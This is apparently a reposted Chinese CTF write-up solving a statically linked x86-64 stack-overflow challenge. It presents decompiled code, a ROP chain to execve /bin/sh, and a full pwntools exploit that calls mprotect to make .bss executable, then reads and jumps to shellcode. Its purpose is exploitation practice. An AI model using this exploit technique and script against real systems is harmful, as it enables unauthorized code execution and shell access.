zoukankan      html  css  js  c++  java
  • 静态链接 + mprotect

    前言

    别的师傅给的题目不知道出自哪里。

    程序分析

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      write(1LL, "welcome~
    ", 9LL);
      vul();
      return 0;
    }
    
    __int64 vul()
    {
      char v1; // [rsp+0h] [rbp-80h]
    
      return read(0LL, &v1, 256LL);
    }
    

    程序很简单,存在栈溢出,而且程序是静态链接的。

    利用思路

    程序可以溢出 0x78 个字节。然后是静态链接的,那先考虑 rop chain 一把梭:

    p = ''
    p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ca080) # @ .data
    p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x4141414141414141) # padding
    p += pack('<Q', 0x4141414141414141) # padding
    p += pack('<Q', 0x0000000000473e71) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004014c6) # pop rdi ; ret
    p += pack('<Q', 0x00000000006ca080) # @ .data
    p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ca088) # @ .data + 8
    p += pack('<Q', 0x0000000000442626) # pop rdx ; ret
    p += pack('<Q', 0x00000000006ca088) # @ .data + 8
    p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
    p += pack('<Q', 0x000000000000003b) # rax
    p += pack('<Q', 0x4141414141414141) # padding
    p += pack('<Q', 0x4141414141414141) # padding
    p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ca088) # @ .data + 8
    p += pack('<Q', 0x0000000000442626) # pop rdx ; ret
    p += pack('<Q', 0x00000000006ca088) # @ .data + 8
    p += pack('<Q', 0x0000000000425def) # xor rax, rax ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004664b0) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004003da) # syscall
    
    

    这明显超过 0x78 字节了,那就自己修改一下:

    p = ''
    p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ca080) # @ .data
    p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x4141414141414141) # padding
    p += pack('<Q', 0x4141414141414141) # padding
    p += pack('<Q', 0x0000000000473e71) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004014c6) # pop rdi ; ret
    p += pack('<Q', 0x00000000006ca080) # @ .data
    p += pack('<Q', 0x00000000004783c6) # pop rax ; pop rdx ; pop rbx ; ret
    p += pack('<Q', 0x000000000000003b) # rax
    p += pack('<Q', 0x0000000000000000) # rdx
    p += pack('<Q', 0x4141414141414141) # padding
    p += pack('<Q', 0x00000000004015e7) # pop rsi ; ret
    p += pack('<Q', 0x0000000000000000) # rsi
    p += pack('<Q', 0x00000000004003da) # syscall
    

    还是超过了 8 字节。那没办法,只能找别的思路。
    程序是静态链接的,说明整个 libc 库都会被链接进文件中,那就有很多可以利用的函数和 gadget 。
    在程序中找到了 mprotect 函数:

    .text:000000000043FD00                 public mprotect ; weak
    .text:000000000043FD00 mprotect        proc near               ; CODE XREF: new_heap+7F↑p
    .text:000000000043FD00                                         ; sysmalloc+2AD↑p ...
    .text:000000000043FD00 ; __unwind {
    .text:000000000043FD00                 mov     eax, 0Ah
    .text:000000000043FD05                 syscall                 ; LINUX - sys_mprotect
    .text:000000000043FD07                 cmp     rax, 0FFFFFFFFFFFFF001h
    .text:000000000043FD0D                 jnb     __syscall_error
    .text:000000000043FD13                 retn
    .text:000000000043FD13 ; } // starts at 43FD00
    .text:000000000043FD13 mprotect        endp
    .text:000000000043FD13
    

    那问题就简单了,调用 mprotect 修改 bss 段为可执行,再调用 read 函数往 bss 段中写 shellcode ,最后返回 shellcode 的起始地址就能 get shell 。

    flat([pop_rdi,bss,pop_rsi,0x1000,pop_rdx,7,mprotect,pop_rdi,0,pop_rsi,bss,pop_rdx,0x1000,read,bss])
    

    刚好 0x78 个字节,估计出题人的思路就是这个吧。

    exp

    from pwn import *
    from struct import pack
    
    file_name = './pwn3'
    
    context.binary = file_name
    context.log_level = 'debug'
    
    
    bss = 0x6cd000
    pop_rdi = 0x4014c6
    pop_rsi = 0x4015e7
    pop_rdx = 0x442626
    mprotect = 0x43FD00
    read = 0x43F1B0
    
    p = process(file_name)
    #p = remote('')
    #p = process('./idaidg/linux_server64')
    elf = ELF(file_name)
    
    shellcode = asm(shellcraft.sh())
    
    payload = 'a' * 0x88
    payload += flat([pop_rdi,bss,pop_rsi,0x1000,pop_rdx,7,mprotect,pop_rdi,0,pop_rsi,bss,pop_rdx,0x1000,read,bss])
    
    p.send(payload)
    
    sleep(0.2)
    
    p.send(shellcode)
    
    
    p.interactive()
    
    
  • 相关阅读:
    程序猿神吐槽,说出那些苦逼的日子!
    java设计模式演示样例
    DP Leetcode
    标准差(standard deviation)和标准误差(standard error)你能解释清楚吗?
    移动开发 Native APP、Hybrid APP和Web APP介绍
    Oracle cloud control 12c 的启动与关闭
    Ubuntu文件的复制、移动和删除命令
    Android中集成第三方库的方法和问题
    腾讯QQ企业邮箱POP3/SMTP设置
    又发现支付宝和淘宝的设计漏洞
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13609162.html
Copyright © 2011-2022 走看看